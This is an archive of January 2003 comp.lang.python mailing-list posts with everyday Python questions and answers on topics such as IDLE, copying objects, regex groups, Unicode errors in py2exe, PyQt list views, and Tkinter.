Lighthon	(sounds lighter and smaller ...)
Lython		(variation of the above)
Fython		(really *looks* like Python, but it's not ...)
Ython		(sounds and looks brief)
Phyton		(simple mutation)

Cheers,
Kow





From v.wehren at home.nl  Sun Jan  5 06:54:05 2003
From: v.wehren at home.nl (v.wehren)
Date: Sun, 5 Jan 2003 12:54:05 +0100
Subject: Is there documentation for the IDLE debugger?
References: <b16e4ef7.0301041901.25c77fe8@posting.google.com>
Message-ID: <av95vr$7od$1@news2.tilbu1.nb.home.nl>

In Python 2.2, Idle is documented in the Python Library Reference, 16.5
(e.g. [python installation]/Doc\lib\idle.html)

- vw

"Stephen Ferg" <steve at ferg.org> schrieb im Newsbeitrag
news:b16e4ef7.0301041901.25c77fe8 at posting.google.com...
> I've been looking for documentation on how to use the IDLE debugger.
> Couldn't find any.  Does any such documentation exist?





From brian at sweetapp.com  Wed Jan  8 17:56:52 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Wed, 08 Jan 2003 14:56:52 -0800
Subject: Python vs .Net
In-Reply-To: <v1p26liei7gd54@corp.supernews.com>
Message-ID: <014501c2b769$3c406f20$21795418@dell1700>

> instead of returning a new matrix, in VB I'd have to use ByRef - and
> therefore would have to define both single and double versions of the
> function. 

In VB, you could provide a single and double version, but then you would
not interoperate with new system types e.g. long double or user defined
types.

> I am also curious how your matrix_rotate code could operate on both a
> single and double-dimensioned array.  I would think that (in any
> language) you would need to have some logic to find out how many
> dimensions there are in order to process the information correctly.
> Take care,

I meant that the interface to the matrix would be the same (i.e. it
would look like a 2-dimensional array) but the array would actually be
implemented single dimensionally.

Cheers,
Brian





From cnetzer at mail.arc.nasa.gov  Wed Jan 22 19:09:14 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 22 Jan 2003 16:09:14 -0800
Subject: Python vs. Matlab
In-Reply-To: <1043278875.1513.39.camel@refugeeMedia>
References: <1043278875.1513.39.camel@refugeeMedia>
Message-ID: <200301230009.QAA02223@mail.arc.nasa.gov>

On Wednesday 22 January 2003 15:41, Mongryong wrote:
> Python vs Matlab (or any other similar language).
>
> Any opinions on this comparison?  Benchmarks? Functionality?

Python is becoming more and more popular in the Scientific community.

> One big up for Python is that it's FREE!

So are Octave, SciLab, R, etc.

Python is nice because of it's flexibilty, and ability to make use of
existing C and fortran libraries (via f2c), and it's clean, elegant 
syntax.  But it still has a long uphill battle to compete with all the 
toolkits available for Matlab.  Depending on the libraries, it can be 
speed competitive with Matlab, and if the right toolkits are available, 
I find I get more reuse out of my python code, typically, because I can 
organize it with classes and packages.

Look at SciPy, ScientificPython, SalStat, for just some of the 
possibilities.  But one needs to know the problem domain before 
recommending Python outright.  There are many powerful tools that come 
with the free Matlab workalikes, that Python may not yet have (or even 
ever have).

Matlab is expensive because it has very useful and comprehensive 
Toolboxes, that people are willing to pay for.  But the alternatives 
are getting better and better.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From imbosol at vt.edu  Sat Jan 11 22:51:20 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sun, 12 Jan 2003 03:51:20 GMT
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk>
Message-ID: <YC5U9.6651$%V.6206@nwrddc02.gnilink.net>

Martin Christensen wrote:
> Python usually uses copy-by-reference. This is all good and well, but
> sometimes we want copy-by-value. For a long time now I've been using
> copy() or deepcopy(), depending on the circumstances, from the copy
> module. Is there no more simple and elegant way of doing this? It
> seems strange that one should have to import a module to so something
> as simple as a copy-by-value. I should, of course, have researched
> this a long, long time ago, but deadlines have a way of defering such
> luxuries. :-)

For the types where it is most useful to do copy-by-value, there are
built-in ways to do shallow copies.  For example, lists (and Numeric
arrays) can do this:

    a = b[:]

Dicts have a copy method:

    a = b.copy()

Class instances don't have such a method by default, seeing that they
can have more complicated state that might not work with a simple
copy.  However, it's easy to define a class that does, if you need it.
For example, extending the Bunch class from Python Cookbook:

    class Bunch:
        def __init__(self,**kwargs): self.__dict__.update(kwargs)
	def copy(self): return Bunch(self.__dict__)


Deep copying is *not* something simple.  It is best left up to the
module, or done by hand.


-- 
CARL BANKS



From dglenn at charter.net  Sat Jan  4 22:34:44 2003
From: dglenn at charter.net (Doug Glenn)
Date: Sat, 4 Jan 2003 22:34:44 -0500
Subject: File attributes - How to get?
Message-ID: <200301042234.44416.dglenn@charter.net>

Greetings,

What module/function call is there to acess a file attributes? I don't 
know if I am looking at the wrong name or what, but I cannot find a 
routine to return the same information ls -l (LS -L) will return on 
Linux. I am wanting to get the owner, group and other permissions in 
addition to the owner and group assigned to the file.


TIA!
-----
Doug




From hst at empolis.co.uk  Fri Jan 10 10:01:49 2003
From: hst at empolis.co.uk (Harvey Thomas)
Date: Fri, 10 Jan 2003 15:01:49 -0000
Subject: How do I get to *all* of the groups of an re search?
Message-ID: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220E3A@hendrix.empolisuk.com>

Cameron Laird wrote:
> 
> In article <sl51f-6dj.ln1 at news.lairds.org>,
> Kyler Laird  <Kyler at news.Lairds.org> wrote:
> >	http://www.python.org/doc/current/lib/re-syntax.html
> >	(...)
> >	    Matches whatever regular expression is inside the
> >	    parentheses, and indicates the start and end of a 
> >	    group; the contents of a group can be retrieved
> >	    after a match has been performed, [...]
> >
> >Sounds good, so I tried it.
> >
> >	import re
> >
> >	text = 'foo foo1 foo2 bar bar1 bar2 bar3'
> >
> >	test_re = re.compile('([a-z]+)( \\1[0-9]+)+')
> >
> >	print test_re.findall(text)
> >
> >I expected the matches to be something like
> >	[('foo', [' foo1', ' foo2']), ('bar', [' bar1', ' 
> bar2', ' bar3'])]
> >but it's just this.
> >	[('foo', ' foo2'), ('bar', ' bar3')]
> >
> >How do I get to the other groups that were matched?  (Is this
> >an FAQ?  I don't know where to start looking.)
> 			.
> 			.
> 			.
> Oh, it's matching all the groups.  Does the code below help
> explain why?
> 
> I'm clumsy with REs--I don't immediately see how to achieve
> your desired result.  I can quickly observe that
>   import re
> 
>   text = 'foo foo1 foo2 bar bar1 bar2 bar3'
> 
>   test_re = re.compile('([a-z]+)(( \\1[0-9]+)+)')
> 
>   print test_re.findall(text) 
> yields
>   [('foo', ' foo1 foo2', ' foo2'), ('bar', ' bar1 bar2 bar3', 
> ' bar3')]
> One of us will probably get an RE that properly listifies these
> within the next day ...
> -- 
> 
You can't return a variable number of groups from a regex. The number of groups returned is always the number of (capturing) groups in the regex. However,

import re
t = 'foo foo1 foo2 bar bar1 bar2 bar3 singleton'
e = re.compile('([a-z]+)((?: +\\1[0-9]+)*)')
print [[x[0]] + x[1].split() for x in e.findall(t)]

yields

[['foo', 'foo1', 'foo2'], ['bar', 'bar1', 'bar2', 'bar3'], ['singleton']]

which seems pretty close to what you want.

HTH

Harvey

_____________________________________________________________________
This message has been checked for all known viruses by the MessageLabs Virus Scanning Service.




From ma0rp at bath.ac.uk  Thu Jan 30 06:09:50 2003
From: ma0rp at bath.ac.uk (Richard Pasco)
Date: 30 Jan 2003 03:09:50 -0800
Subject: American Football Game
Message-ID: <d3b1cccd.0301300309.4d5c096e@posting.google.com>

Is anyone here interested in writing a American Football simulation
game with me? I a relatively new coder and have some algorithmic
experience but little graphical. I would like to make a decent
simulation of American Football, the graphics are less important, more
the gameplay and feel. I envisage some sort of overhead view with
small sprites, nothing too fancy.

I personally would really like to do the main algorithm of players
performance - ie how well the QB sees the field, how well the reciever
runs his route, how much the big game affects your star running back
etc. I would like help with that but mainly with drawing the sprites,
animation, GUI etc.

I don't have that much time, maybe 6 hours a week but would still like
to have a go, and see if we could come up with something passable.

Has anyone tried it? Does anyone want to try it?!

Let me know on ma0rp at bath.ac.uk

Cheers



From meinrad.recheis at aon.at  Sat Jan 18 17:31:03 2003
From: meinrad.recheis at aon.at (meinrad recheis)
Date: Sat, 18 Jan 2003 23:31:03 +0100
Subject: how to use PIL.image with Tkinter.canvas?
References: <b09p16$rem$1@news.tuwien.ac.at>
Message-ID: <b0cki5$jao$1@news.tuwien.ac.at>

Thanks to Andrew Markebo! I found it. there is a Module in PIL called
ImageTk
thats it! Now off to coding :)
meinrad






From tundra at tundraware.com  Mon Jan 20 03:40:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 20 Jan 2003 08:40:07 GMT
Subject: Unicode error in exefied Python script
In-Reply-To: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de>
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de>
Message-ID: <08cg0b.brr.ln@boundary.tundraware.com>

Christian Bretterklieber wrote:
> Hi,
> 
>   I have a problem with a Python script that I want to make executable
> on Win2K (I'm using ActivePython 2.2.1 in case that matters). The
> script does some database stuff. The exefied version (both with py2exe
> and Gordon McMillan's Installer) on a simple statement:
> 
>   stmt = "UPDATE blah SET val1 = '%s', [...]" % (row[xval1],...)
> 
>   The error message it throws is "UnicodeError: ASCII decoding error:
> Ordinal not in range (128)". Interestingly enough, the script as is
> works, just not the exefied version (The --packages encodings option to
> py2exe was given, of course).
> 
>   I searched the web for this error message and tried some of the advice
> I found (creating a sitecustomize.py; changing the default encoding in
> site.py). None of this helped, though. What also puzzles me is the fact
> that an older version of the program works (exefied on the same system).
> The program has undergone some major changes meanwhile but the code in
> question was just copied and pasted from the old version.
> 
>   Any ideas?
> 
> TIA,
> 
> c/hris.
> 

I just finished beating a problem just like this to death. I had the
situtation where I wanted to combine the results of an lstat call with
other results from a Win32 api call (via win32all). "Combining" in this
case, meant something like:

        s = ""
        s += "My string"
        s += Win32Result
        s += "Another of my strings"
        s += Result of a ctime call
        s += Name of a file

I got the error you mentioned. After poking at it for a while, I
discovered that the Win32 API was returning *Unicode* strings, but all
my stuff was in ASCII. What was truly wierd about it is that the error
didn't get thrown until the last s += statement, even though the error
was introduced in the Win32Result statement. Python GURUS: Any idea why
this is??????


The fix was to change the offending line to:  s += str(Win32Result).

HTH,
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From maxm at mxm.dk  Tue Jan 28 09:49:38 2003
From: maxm at mxm.dk (Max M)
Date: Tue, 28 Jan 2003 15:49:38 +0100
Subject: ZODB: Updating all instances of a class
In-Reply-To: <b15hpm$qef$04$1@news.t-online.com>
References: <b15hpm$qef$04$1@news.t-online.com>
Message-ID: <9KwZ9.46739$Hl6.5985919@news010.worldonline.dk>

Thomas Guettler wrote:

> How can I get all instances of this class? I think there
> is a special method, but I don't remember its name.

ZopeFind()

-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From user at domain.invalid  Mon Jan 27 23:31:24 2003
From: user at domain.invalid (ewalstad)
Date: Tue, 28 Jan 2003 04:31:24 GMT
Subject: Web Services with Python [Newbie]
Message-ID: <wInZ9.2011$4r6.866464896@newssvr13.news.prodigy.com>

Hi all,

I am interested in learning a bit about web services using the SOAP 
protocol and would like to do so with Python.

I found the IBM resouces that look great:
http://www-106.ibm.com/developerworks/webservices/library/ws-pythcol.html?dwzone=webservices
but they point to a confusing collection of modules.  They mention 
SOAP.py and SOAPy but both look like there's not been much action lately 
(does that mean they are stable or that they are not use?).

Can someone savvy with writing Python web services suggest a simple, 
newbie-friendly way to learn web services with Python?  Should I go with 
SOAP.py, SOAPy or some other?

Many thanks in advance!

Eric.




From skip at pobox.com  Sun Jan 26 10:57:03 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sun, 26 Jan 2003 09:57:03 -0600
Subject: Emacs has eaten my python tabs!!!
In-Reply-To: <1043595434.1388.2.camel@refugeeMedia>
References: <1043563632.4966.71.camel@refugeeMedia>
        <15923.64232.153575.441139@montanaro.dyndns.org>
        <1043595434.1388.2.camel@refugeeMedia>
Message-ID: <15924.1359.334067.544435@montanaro.dyndns.org>

    Mongryong> Doesn't python rely on tabs?

Nope.  It relies on indentation.  I believe TAB characters advance the
indentation to the next multiple of eight columns.

Skip





From wayne at mishre.com  Fri Jan  3 00:12:26 2003
From: wayne at mishre.com (Wayne Pierce)
Date: 2 Jan 2003 21:12:26 -0800
Subject: Searching a PyQT List View?
Message-ID: <2a897f11.0301022112.734917e2@posting.google.com>

I have an array of arrays, containing information I would like to put
in to a List View.  The problem I seem to have, is that I cannot
figure out how to determine if part of the data already exists in the
list view.

Each line of the array is in the following format:

 [src,dst,proto,port,alert]

All of the items are strings, except for 'port'.  I can add the items
using:

  QListViewItem(self.lstvwRules, i.src, i.dst, i.proto, str(i.port),
i.action)

This adds each item fine, however it is all one line which cannot be
collapsed; so I have to add each item as a child QListViewItem. 
Something like this:

  src = QListViewItem(self.lstvwRules, i.src)
  dst = QListViewItem(src, i.dst)
  proto = QListViewItem(dst, i.proto)
  port = QListViewItem(proto, i.port)
  alert = QListViewItem(port, i.alert)

(I have not actually tested the above, but it seems logical)

The question I have is how to find the value of a column after the
QListViewItem has already been added.  For example, is there a way to
get the first item of the first column, then if it matches the data I
want to enter check the second item, etc.?

Thanks for any pointers,

W-



From bokr at oz.net  Wed Jan  8 19:05:11 2003
From: bokr at oz.net (Bengt Richter)
Date: 9 Jan 2003 00:05:11 GMT
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122> <7x4r8jbui3.fsf@ruckus.brouhaha.com> <avhn7c$age$0@216.39.172.122> <7xhecjsea0.fsf@ruckus.brouhaha.com>
Message-ID: <aviebn$ufo$0@216.39.172.122>

On 08 Jan 2003 10:11:03 -0800, Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:

>bokr at oz.net (Bengt Richter) writes:
>> BTW, how about the option to insert \n after every line_len characters?
>> And if so, should there be a final \n guaranteed there or not there?
>> Or should that be left to the outside too?
>
>I'd say leave that on the outside too.

Stripping it down like that leaves a lot of code space unused. I guess the
unused codes should be rejected as I currently do for the default mode.
Maybe I'll include 'extra code space available' in the error message ;-)

>
>I've sometimes thought there should be a function for splitting a long
>string into a bunch of shorter ones of specified length, but I don't
>know if that would give a worthwhile speedup vs. the obvious list
>comprehension.

One might pass a chunk length integer to str.split, e.g.,

    s.split(n)

to get 

    [s[i:i+n] for i in xrange(0,len(s),n)]

PS. Any other votes on base52?

BTW, this isn't a language thing, so I wouldn't think it's a PEP thing, but
what is the right way to proceed to get it considered for inclusion? A patch
for binascii.c is obvious. Are the following four the whole story? Is the html
automatically generated from the .tex?

D:\Python-2.2.2\Doc\lib\libbinascii.tex
D:\Python-2.2.2\Lib\test\test_binascii.py
D:\Python-2.2.2\Lib\test\output\test_binascii
D:\Python-2.2.2\Modules\binascii.c

D:\Python22\Doc\lib\module-binascii.html
D:\Python22\Lib\test\test_binascii.py
D:\Python22\Lib\test\output\test_binascii

The last two are just duplicates of the source distribution AFAICS.

Regards,
Bengt Richter



From brian at sweetapp.com  Wed Jan 15 18:20:02 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Wed, 15 Jan 2003 15:20:02 -0800
Subject: Switch statements again
In-Reply-To: <1042670767.3e25e4afa12e5@www.progoth.com>
Message-ID: <006b01c2bcec$a167e6c0$21795418@dell1700>

> I've been reading the claims about doing things a more elegant way in
> python when it comes to switch statements, using if-elif-else 
> and/or dictionaries of function pointers.  the following can be 
> done with if-elif-else (and that's how I did it), but it sure is ugly.

> my question is simply "what's the best way to do this in python?"

I don't understand the problem fully (if I did, I might use a list
instead of a dictionary) but:

masks = {MASK_SATURDAY : 0, MASK_SUNDAY : 1, MASK_MONDAY : 2, ...}

if not masks.has_key[calDayOfWeekMask]
     raise ValueError, 'invalid mask "%r"' % calDayOfWeekMask
dayOfWeek -= marks[calDayOfWeekMask]
if ...


The list solution would look like

masks = [MASK_SATURDAY, MASK_SUNDAY, ...]
if calDayOfWeekMask not in masks:
     raise ValueError, 'invalid mask "%r"' % calDayOfWeekMask

dayOfWeek -= masks.index(calDayOfWeekMask)
if ...

Cheers,
Brian





From jbublitzNO at SPAMnwinternet.com  Fri Jan  3 03:02:29 2003
From: jbublitzNO at SPAMnwinternet.com (Jim)
Date: Fri, 03 Jan 2003 08:02:29 GMT
Subject: Searching a PyQT List View?
References: <2a897f11.0301022112.734917e2@posting.google.com>
Message-ID: <3E15412E.2050106@SPAMnwinternet.com>

Wayne Pierce wrote:
> I have an array of arrays, containing information I would like to put
> in to a List View.  The problem I seem to have, is that I cannot
> figure out how to determine if part of the data already exists in the
> list view.

> Each line of the array is in the following format:

>  [src,dst,proto,port,alert]

> All of the items are strings, except for 'port'.  I can add the items
> using:

>   QListViewItem(self.lstvwRules, i.src, i.dst, i.proto, str(i.port),
> i.action)

That will give you a single entry with 5 columns.

> This adds each item fine, however it is all one line which cannot be
> collapsed; so I have to add each item as a child QListViewItem. 
> Something like this:
> 
>   src = QListViewItem(self.lstvwRules, i.src)
>   dst = QListViewItem(src, i.dst)
>   proto = QListViewItem(dst, i.proto)
>   port = QListViewItem(proto, i.port)
>   alert = QListViewItem(port, i.alert)

> (I have not actually tested the above, but it seems logical)

That will give you a tree view (like a directory tree), but
only a single column. You'd have to open each level to see
its value. Another alternative would be to put dst, proto,
port and alert all on the same level under src, or some other
combination that shows what you want when collapsed/expanded.
Depends on how you want it to look/operate.

> The question I have is how to find the value of a column after the
> QListViewItem has already been added.  For example, is there a way to
> get the first item of the first column, then if it matches the data I
> want to enter check the second item, etc.?

> Thanks for any pointers,

No pointers in Python, only instances.

You can iterate over all of the items by navigating the tree
with QListView.firstChild, itemBelow/itemAbove, and
QListViewItem.text(col), or you can search  for a single item with 
QListView.findItem. (see the Qt docs for QListView). What I've
done a few times is to construct/maintain a Python list or dict
that mirrors the QListView. If you have a small number of items
it doesn't take a lot more memory, and it's less work in general
if you want to merge lists, write the list to a file, etc.


Jim




From tutal at msn.com  Fri Jan  3 14:18:12 2003
From: tutal at msn.com (mlorfeld)
Date: 3 Jan 2003 11:18:12 -0800
Subject: Simple Zope Photo Album
Message-ID: <74977d59.0301031118.75afd76d@posting.google.com>

I'm trying to create a dynamic photo album for zope.  I know there is
already a nice Zope product out there (Zope Photo Album and Folders). 
The problem is that since my web page is hosted on a free zope
server(nipltd.net), I am limited to the applicatons already installed
on it (Some CMF, no photo, DTML method and object, file, folder,
image, python script, wiki).  So basically I'm looking for a Q&D
pytyhon/dtml/html code snippit that will dynamically create a photo
album.  Any suggestions?



From peter at engcorp.com  Sun Jan 12 21:25:01 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Jan 2003 21:25:01 -0500
Subject: map() question...
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com>
Message-ID: <3E22237D.C11CDF6@engcorp.com>

Kevin Ethridge wrote:
> 
> Why doesn't map() work with the print function?
> ie map(print, ['Have', 'a', 'great', 'day.'])

Because print is a statement, not a function.  Map must take
a function.  You'd have to do this to get the effect you want,
though there are better ways and this one just plain stinks:

def printit(item):
    print item

map(printit, ['Have','a','reasonably','nice','day.'])

Using the form "print('a string')" is perhaps poor style, since
it suggests print is a method.  Same applies to return, which is
also a statement (as in C, where people also get it wrong).

-Peter



From ny_r_marquez at yahoo.com  Mon Jan 27 12:28:21 2003
From: ny_r_marquez at yahoo.com (R.Marquez)
Date: 27 Jan 2003 09:28:21 -0800
Subject: Slurping Web Pages
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net> <FuQY9.5691$qb1.2425@nwrddc01.gnilink.net>
Message-ID: <8a27e309.0301270928.515c38f0@posting.google.com>

I have recently began looking at going this route for a different
reason.  I am trying to use ie's authentication mechanism to be able
to get through our Windows proprietary authentication method.  I had a
thread started about this a while back if you are interested here is
the link:

http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF8&th=c29034c939dda8f7&rnum=1

Fortunately, back then I was just interested in getting at the html
code of the body, so I was able to get a working solution with what
others have shown you so far (I would use html =
x.Document.documentElement.outerHtml instead, however, so that you get
the body tag as well.)

Now, I am again looking at this same issue because none of the
standard programs for downloading mutiple pages from a site work on
our setup.  They can't get through the authentication.

So, here is what I've found so far in trying to accomplish it through
ie.  (I'm affraid it is going to be an unsightly hack, but if it works
I'll be happy :).

You are going to find web pages that do not display correctly by
simply downloading the body, you'll need the style sheet as well.  I
can find the link to the style sheet like this (from an interactive
session):

>>> print ie.Document.documentelement.nodeName
HEAD
>>> print ie.Document.documentelement.childnodes[0].childnodes[1].nodeName
LINK
>>> print ie.Document.documentelement.childnodes[0].childnodes[1].attributes.getNamedItem("HREF").nodeValue
../../stylesheets/style.css

Unfortunately, navigating to that file with ie opens the file in a
separate session of Notepad (and returns None to Python).  (I wonder
if it would do any good to associate .txt files with ie).

However, I think it may be possible to recreate the stylesheet by
recursively analizing (parsing) the stylesheet element.  It won't be
easy, but at least it seems doable. For example:

>>> print ie.Document.stylesheets[0].rules[0].style.color
#000000
(That stands for 'white')

The other problem is the images.  I have not found a way to save them.
 Python, and even the OS's command prompt, doesn't have access to the
cache folder.  It is not a regular folder.  So, you can't just copy
the images from it...

So, as usual, going the Microsoft way seems like a long road ahead,
but again as usual, it seems like the only way for some of us.  Any
way, thats where I'm at.  If you or any one else have some pointers,
they will be much appreciated.

-Ruben



From knightsofspamalot-factotum at gvdnet.dk  Wed Jan 15 17:47:22 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Wed, 15 Jan 2003 23:47:22 +0100
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com>
 <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com>
 <87d6n2h5mn.fsf@gvdnet.dk> <x7ptr2rs1a.fsf@guru.mired.org>
Message-ID: <87bs2i1151.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Mike" == Mike Meyer <mwm at mired.org> writes:
Mike> If it still bothers you, how about a PEP proposing that object
Mike> have copy and deepcopy methods that DTRT? That way, all
Mike> new-style classes would have a copy and deepcopy methods, so you
Mike> could invoke them without having to import a module.

If the choice is between importing a module when it's necessary to do
a copy-by-value and implementing it for all classes, I'm not certain
that I'd prefer the latter. As some others have mentioned,
copy-by-value is not something very many people will need every day,
and if they do it'll often be because they don't take proper advantage
of the language. No PEP from me, at least not as it stands now.

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4l5PoACgkQYu1fMmOQldUHRACghlYkborv7gQR6zHBs7vHvIMW
5icAn3nMXBv4ekOx9nfVLLRKhczKf9S9
=dXgl
-----END PGP SIGNATURE-----



From sir_penguin.geo at yahoo.com  Mon Jan  6 23:29:29 2003
From: sir_penguin.geo at yahoo.com (Neil MacMillan)
Date: 6 Jan 2003 20:29:29 -0800
Subject: Books: Core Python Programming vs. Python Cookbook
Message-ID: <f774ba3f.0301062029.721ede80@posting.google.com>

I'm a 1st year computer science student, but I've been teaching myself
Python as my first useful programming language on and off for over a
year and a half.  I'm confident that I know the basic programming
concepts and Python-specific concepts, and I'm slowly working my way
through GUI programming now.  I don't know about threading, sockets,
and similar things that aren't applicable to a broad range of
applications.

I'm looking for a book in which I can find explanations and examples
for things like Tkinter, network programming in Python, etc.  Topics
that are covered in the official tutorial aren't necessary, but my
intelligence won't be insulted if they're there.  Mostly I want
something to which I can refer for ideas on how to do things better
and examples of things I never knew were possible (or at least I never
knew were simpler than they sound).

I've been going to the Chapters store and reading Core Python for
explanations of specific things that I needed to know, but the other
day I looked at Python Cookbook, which seemed interesting too. 
Unfortunately, Chapters recently took Core Python off the shelf, so I
can't compare them myself.  Chapters.ca has a 30% off sale, and I got
a $20 gift certificate for my birthday, so I can afford one or the
other (I might be able to make myself afford both if necessary, but I
won't count on it).  They're about the same price, so sadly I can't
decide on that basis.  If you please, which one would you recommend,
and why?  Would it be worth getting both?



From andy at eastonwest.co.uk  Mon Jan  6 19:58:46 2003
From: andy at eastonwest.co.uk (andy)
Date: Tue, 7 Jan 2003 00:58:46 +0000
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP! Must choose  language!)
In-Reply-To: <3E144BFC.399B8510@engcorp.com>
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com>
Message-ID: <200301070058.46770.andy@eastonwest.co.uk>

Speed is so subjective!  A bad algorithm will make a bad program in any 
language!

I moved from using Oberon (a compiled language) to Python about 18 months ago, 
for various 'scripting' tasks at my workplace.

Ok, Oberon isn't the fastest language around - the compiler I used wasn't 
optimised, but then it does pretty well without optimisation.  I really like 
the clean-ness (to my eye) of oberon, but wanted the interactivity of an 
interpreted language.  I had exhausted the possibilities of NT batch-script, 
QBasic (yuk!) and started reading up on perl.  I was not impressed, as I have 
always preferred the 'pascal' type syntax, shunning C and its cronies.

I can't even remember how I stumbled accross Python, but I can remember 
feeling I'd 'come home' when I tried it!

The first thing I did was convert my work-in-progress directory size analyzer 
and found, to my amazement, that it ran about the same speed.  To boot, the 
os.stat function did not suffer from the same memory leaks as its oberon 
counterpart.

Recently, our company has migrated from Novell Netware 5 to Windows 2000, and 
I had to shift about 350GB of data from one server to another, in roughly 
50GB chunks.  We had tried 'robocopy' which was hopelessly slow, and I 
couldn't find any comparable products online.

I had, years ago, written an incremental directory copier in Modula-2, so I 
decided to rewrite it in Python.  Works a treat:

On a 394MB, P4/2000 windows XP pro w/s,  with 100Mb/s ethernet:

>From memory, when testing:
    copy command: roughly 600K/s
    explorer copy: roughly 500K/s
    robocopy: roughly 1000K/s

Today:
    bulkloader.py: roughly 4000-8000K/s

It uses a brute-force copy, i.e. just loads up each file and writes it to 
dest.  Good excuse to have extra memory! ;-)

I have been using this program recently to benchmark our server performance, 
as we have been experiencing performance problems (network incompatabilities 
etc.) It's been invaluable.

Python may be interpreted, and may not execute at /n/ mflops, but what it 
lacks in /raw/ oomph, it really makes up for in /efficiency/ and 
/development/ /speed/!  The stuff that needs to be fast, generally is, and 
the rest generally doesn't matter to me...

Beats batch-script senseless, and you can still read (and understand) code a 
year later (unlike perl,C/C++ etc.).

I like Python.

regards, 
-andyj






From ressler at cheetah.jpl.nasa.gov  Wed Jan 22 12:58:00 2003
From: ressler at cheetah.jpl.nasa.gov (Michael Ressler)
Date: 22 Jan 2003 17:58:00 GMT
Subject: SNQ: stdin with both a pipe and keyboard
References: <slrnb2r87t.tfl.ressler@cheetah.jpl.nasa.gov> <1043212795.897835@yasure>
Message-ID: <slrnb2tmt8.19d.ressler@cheetah.jpl.nasa.gov>

In article <1043212795.897835 at yasure>, Donn Cave wrote:
> Quoth Michael Ressler <ressler at cheetah.jpl.nasa.gov>:
>| Stupid newbie question: I'm trying to cobble together a little routine
>| that will accept a bunch of data presented to it on stdin, then ask for
>| a filename to save it to. Something like
> 
> Something like this may work, as far as the problem statement goes -
> 
>    data = suck_in_data();
>    sys.stdin = open('/dev/tty', 'r')
>    fname = raw_input('What destination? ')
>    ...

Thanks - this is what I was looking for, and assumed it would be this
simple. My need is for a routine to take an email attachment from pine
using it's "pipe to Unix" command, and scp'ing it to a remote machine
with the ability to use a different filename. I'm sure there are a
billion better ways to do this (and I've come up with a few since I
first posted), but this dual stdin idea stuck in my craw and there had
to be some way to make it work. A quick perusal of the Python books by
Lutz et al. didn't immediately give me a solution, so I thought I'd ask.
Thanks again for all your (plural) inputs.

Mike



From grante at visi.com  Sat Jan 18 22:06:09 2003
From: grante at visi.com (Grant Edwards)
Date: 19 Jan 2003 03:06:09 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org>
Message-ID: <slrnb2k5qs.93i.grante@localhost.localdomain>

In article <mailman.1042934674.24272.python-list at python.org>, Grzegorz Adam Hankiewicz wrote:
>> >> For whatever historical reasons, operator overloading and
>> >> function/method overloading are usually considered as two
>> >> separate language features.  C and python have the former but
>> >> not the latter.
>> > 
>> > *cough* C has neither.
>> 
>> Nonsense.  The operators + - * / do different things depending on
>> the types of their operands.  That's operator overloading.
> 
> Maybe you are refering to C's usually warningless type coercion in
> mathematical operations? Or you know of a way to add two strings
> and have them concatenated? Please ellaborate.

Those operators don't happen to work on strings.  That's neither here nor
there. 

The "+" operator can mean several things:

 integer addition
 pointer addition
 floating point addition
 unary postive
 
The "-" can mean several different "subtraction" operations (integer, fp,
pointer) and can also be unary negation.

The "*" operator does two different multiplaction operations (integer, fp)
as well as de-referenecing pointers.

Back when I studied language design, that was called "operator overloading".

Perhaps the definition has changed since then -- it was 15 years ago.

-- 
Grant Edwards                   grante             Yow!  HAIR TONICS, please!!
                                  at               
                               visi.com            



From whisper at oz.net  Fri Jan 24 19:45:26 2003
From: whisper at oz.net (David LeBlanc)
Date: Fri, 24 Jan 2003 16:45:26 -0800
Subject: tkinter and medusa/xmlprclib
Message-ID: <GCEDKONBLEFPPADDJCOEGENCHJAA.whisper@oz.net>

Is there a tutorial or any examples of how to build a tkinter app that uses
medusa and xmlrpclib, or even just tkinter and medusa?

Thanks,

David LeBlanc
Seattle, WA USA





From mhammond at skippinet.com.au  Tue Jan 21 23:55:11 2003
